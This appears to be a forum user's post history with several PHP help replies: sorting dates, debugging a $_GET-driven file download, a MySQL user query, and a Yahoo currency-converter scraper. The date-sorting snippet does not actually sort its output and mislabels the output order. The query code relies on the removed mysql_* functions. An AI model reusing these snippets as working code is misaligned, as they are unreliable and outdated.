cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Also it is possible to reorder the date in a different format than it is recorded. So say you had Year-Day-Month, you would use the following to order it and display it as Day-Month-Year while in order:

//set date array to list of dates in y-d-m format
$date=array('2009-01-05','2009-01-15','2009-01-14');

for ($i=0;isset($date[$i]);$i++) {
$datess=explode('-',$date[$i]);
$dates[$i]=$datess[0].'-'.$datess[2].'-'.$datess[1];
unset($datess);
}
unset($date);
asort($dates);
for ($i=0;isset($dates[$i]);$i++) {
$datess=explode('-',$dates[$i]);
$date[$i]=$datess[1].'-'.$datess[2].'-'.$datess[0];
unset($datess);
}
print_r($date);
cwarn23 387 Occupation: Genius Team Colleague Featured Poster

I've compared with the original script and it appears both use $_GET to determine the filename. Is that how it should be? And it appears it is the variable $file_path that determines the path of the file. Perhaps you should at the end of your script add the following to check if it is correct.

die($file_path);

If that does reviel the true path then it will probably be because your server can't handle the live streaming in that last while loop. BTW, have you tried using the original script to see if it works because there is a chance of a compatibility problem. And might be easier if I just place in the mysql functionality for you if the original script does work.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

Try the following:

if(isset($_SESSION['u_name'])){
include 'dbcon.php';
$qry = "SELECT * FROM `tbl_user` where `user_id`='".mysql_real_escape_string($_SESSION['u_name'])."'";
$result = mysql_query($qry,$con) or die(mysql_error());
if(mysql_num_rows($result)>0) {
    while($row=mysql_fetch_array($result))
        { 
        echo ' Welcome ' .$row['user_name'];
        }
    }
}

Note: Please use code tags.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

I would surely love to see one..

Well here is a function:

function currency_convert($Amount,$currencyfrom,$currencyto)
{
$buffer=file_get_contents('http://finance.yahoo.com/currency-converter');
preg_match_all('/name=(\"|\')conversion-date(\"|\') value=(\"|\')(.*)(\"|\')>/i',$buffer,$match);
$date=preg_replace('/name=(\"|\')conversion-date(\"|\') value=(\"|\')(.*)(\"|\')>/i','$4',$match[0][0]);
unset($buffer);
unset($match);
$buffer=file_get_contents('http://finance.yahoo.com/currency/converter-results/'.$date.'/'.$Amount.'-'.strtolower($currencyfrom).'-to-'.strtolower($currencyto).'.html');
preg_match_all('/<span class=\"converted-result\">(.*)<\/span>/i',$buffer,$match);
$match[0]=preg_replace('/<span class=\"converted-result\">(.*)<\/span>/i','$1',$match[0]);
//return $buffer;
unset ($buffer);
return $match[0][0];
}
//Theory: currency_convert(Amount,From,To)
echo currency_convert(150.5,'GBP','AUD');

And the possible entries that can be entered into the from and to field are as follows:

-------------
CONVERT FROM:
-------------

British Pound         GBP
Euro                  EUR
US Dollar             USD
Japanese Yen          JPY
Chinese Yuan          CNY
Australian Dollar     AUD
Swiss Franc           CHF
Canadian Dollar       CAD
Thai Baht             THB
Indian Rupee          INR
Indonesian Rupiah     IDR
Hong Kong Dollar      HKD

-----------
CONVERT TO:
-----------

Euro                  EUR
British Pound         GBP
US Dollar             USD
Japanese Yen          JPY
Chinese Yuan          CNY
Australian Dollar     AUD
Swiss Franc           CHF
Canadian Dollar       CAD
Thai Baht             THB
Indian Rupee          INR
Indonesian Rupiah     IDR
Hong Kong Dollar      HKD

As you can see all the names have abbreviations. For this script, you need to use these abbreviations to be able to convert currencies. And in case if you are wondering how it works, it uses the yahoo currency converter which as far as I am aware hasn't clearly stated anying that could cause legal problems with this script. And also note it takes about 3 seconds to process this function.

cwarn23 387 Occupation: Genius Team Colleague Featured Poster

WOW, amazing what a few extra reboots does. One of the windows updates or something must have caused a memory clash. After a few reboots the problem seems to have disappeared. Never new how effective reboots were.
*Solved*